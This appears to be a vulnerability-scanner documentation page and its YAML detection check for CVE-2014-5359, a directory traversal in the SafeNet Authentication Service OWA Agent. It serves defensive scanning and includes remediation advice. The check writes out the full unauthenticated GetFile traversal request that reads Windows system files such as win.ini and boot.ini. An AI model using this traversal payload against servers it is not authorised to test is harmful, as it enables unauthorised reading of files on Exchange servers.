Safenet Sas — 1 vulnerability check
noctis ships 1 vulnerability check for Safenet Sas, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
SafeNet Authentication Service OWA Agent GetFile Directory Traversal
| CVE | CVE-2014-5359 |
|---|---|
| Severity | high · CVSS 7.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/safenet-sas/CVE-2014-5359.yaml |
Tests the SafeNet Authentication Service (SAS) Outlook Web Access Agent, formerly CRYPTOCard, for the directory traversal in the GetFile parameter of /owa/owa, fixed in agent version 1.03.30109. The feed requests /owa/owa?Application=Exchange with a GetFile value made of ten "..\" sequences followed by windows/win.ini, winnt/win.ini or boot.ini, without any login. The content of one of these Windows system files in a 200 reply confirms that the agent reads files outside its own directory. A control request for an absent random file must not return any of these files, so a server that serves the same content on every request is not reported. Only the standard Windows configuration files are read.
How noctis detects it
- HTTP(S) request
GET /owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..… - Checks
winini_r.bodyfor(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..… - Checks
winnt_r.bodyfor(; for 16-bit app support|\[fonts\]) - HTTP(S) request
GET /owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..… - Checks
bootini_r.bodyfor\[boot loader\] - HTTP(S) request
GET /owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..… - Checks
ctrl_r.bodyfor(; for 16-bit app support|\[fonts\]|\[boot loader\]) - Checks
win_filefor^(windows/win\.ini|winnt/win\.ini|boot\.ini)$→ finding QoD 75: SafeNet Authentication Service OWA Agent GetFile Directory Traversal (CVE-2014-5359)
References:
Feed source — tests/vulnerabilities/safenet-sas/CVE-2014-5359.yaml
# SafeNet Authentication Service OWA Agent GetFile directory traversal — CVE-2014-5359
#
# The SafeNet Authentication Service (SAS) Outlook Web Access Agent (formerly
# CRYPTOCard) hooks the Exchange /owa/owa handler and serves its own resources
# through a GetFile parameter. Before 1.03.30109 the GetFile value is not
# confined to the agent's directory, so "..\" sequences read any file on the
# Exchange / IIS server without authentication.
#
# Detection (benign, read-only): GET
# /owa/owa?Application=Exchange&GetFile=..%5C (x10) <file>
# for windows/win.ini, winnt/win.ini then boot.ini, and match the file CONTENT
# ("; for 16-bit app support", "[fonts]", "[boot loader]") in a 200 reply.
# QoD 75 (response analysis). The %5C stays in the query string: http_request
# sends a query verbatim (only path segments are normalised).
#
# Improvements over the source NASL:
# - The NASL only runs after a separate product detection found the agent.
# The feed sends the probe directly, so an agent behind a customised
# logon page is still tested.
# - Ten "..\" instead of six: Windows stops at the drive root, so the extra
# levels are harmless and reach the root from a deeper install directory.
# - A control request (same parameter, absent random file) must come back
# WITHOUT any file signature; a server that returns the same file on
# every request is therefore not reported (fail-closed: no control reply
# → no finding). The absent name contains win.ini and boot.ini, so a
# honeypot keying a fake file on those substrings is caught too.
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_safenet_sas_owa_agent_dir_traversal_12_14.nasl
# (GPL-2.0-only).
uid: ecb2c9d8-e229-40c6-baf2-36c812f8b848
name: "SafeNet Authentication Service OWA Agent GetFile Directory Traversal (CVE-2014-5359)"
description: |
Tests the SafeNet Authentication Service (SAS) Outlook Web Access Agent,
formerly CRYPTOCard, for the directory traversal in the GetFile parameter of
/owa/owa, fixed in agent version 1.03.30109. The feed requests
/owa/owa?Application=Exchange with a GetFile value made of ten "..\"
sequences followed by windows/win.ini, winnt/win.ini or boot.ini, without
any login. The content of one of these Windows system files in a 200 reply
confirms that the agent reads files outside its own directory. A control
request for an absent random file must not return any of these files, so a
server that serves the same content on every request is not reported. Only
the standard Windows configuration files are read.
cves: [CVE-2014-5359]
cvss: 7.8
severity: high
category: file-read
confidence_base: 0.30
tags: [safenet, gemalto, cryptocard, sas, owa, exchange, iis, path-traversal, file-read, windows, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-5359"
# OpenVAS/Greenbone NASL 2014/gb_safenet_sas_owa_agent_dir_traversal_12_14.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {status: 0, body: ""}
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {status: 0, body: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {status: 0, body: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {status: 0, body: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
# ── c:\windows\win.ini ───────────────────────────────────────────────────
- id: read-winini
action: http_request
method: GET
path: "/owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: winini_r
- id: winini-content
action: match
source: winini_r.body
pattern: "(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: "winini_r.status == 200"
on_match:
set_vars:
win_file: "windows/win.ini"
# ── c:\winnt\win.ini (Windows 2000 / NT) ─────────────────────────────────
- id: read-winnt
action: http_request
method: GET
path: "/owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'win_file == "" && winini_r.status != 0'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.body
pattern: "(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: 'win_file == "" && winnt_r.status == 200'
on_match:
set_vars:
win_file: "winnt/win.ini"
# ── c:\boot.ini (Windows XP / Server 2003) ───────────────────────────────
- id: read-bootini
action: http_request
method: GET
path: "/owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'win_file == "" && winini_r.status != 0'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.body
pattern: "\\[boot loader\\]"
case_insensitive: true
condition: 'win_file == "" && bootini_r.status == 200'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: same parameter, absent random file — must NOT carry a file ──
# The absent name still contains win.ini and boot.ini, so a honeypot that
# keys a fake file on those substrings answers it too.
- id: control
action: http_request
method: GET
path: "/owa/owa?Application=Exchange&GetFile=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini.boot.ini.noctis-absent-{{oob_token}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.body
pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
case_insensitive: true
condition: 'win_file != "" && ctrl_r.status != 0'
on_match:
set_vars:
ctrl_hit: true
# ── Finding (control answered and stayed clean) ──────────────────────────
- id: report
action: match
source: win_file
pattern: "^(windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
condition: "ctrl_r.status != 0 && ctrl_hit == false"
on_match:
finding:
title: "SafeNet Authentication Service OWA Agent GetFile Directory Traversal (CVE-2014-5359)"
description: "An unauthenticated GET to /owa/owa with a GetFile parameter made of \"..\\\" sequences returned the content of a Windows system file outside the SafeNet OWA Agent directory, while the same request for an absent file did not. Any file readable by the IIS worker process of the Exchange server can be read this way."
remediation: "Upgrade the SafeNet Authentication Service Outlook Web Access Agent to version 1.03.30109 or later, and keep the Exchange web server off untrusted networks until it is updated."
confidence_delta: 0.55
qod: 75
evidence: "GET /owa/owa?Application=Exchange&GetFile=..%5C (x10) {{win_file}} returned the content of c:/{{win_file}}; control for an absent file returned no file content"
stop: true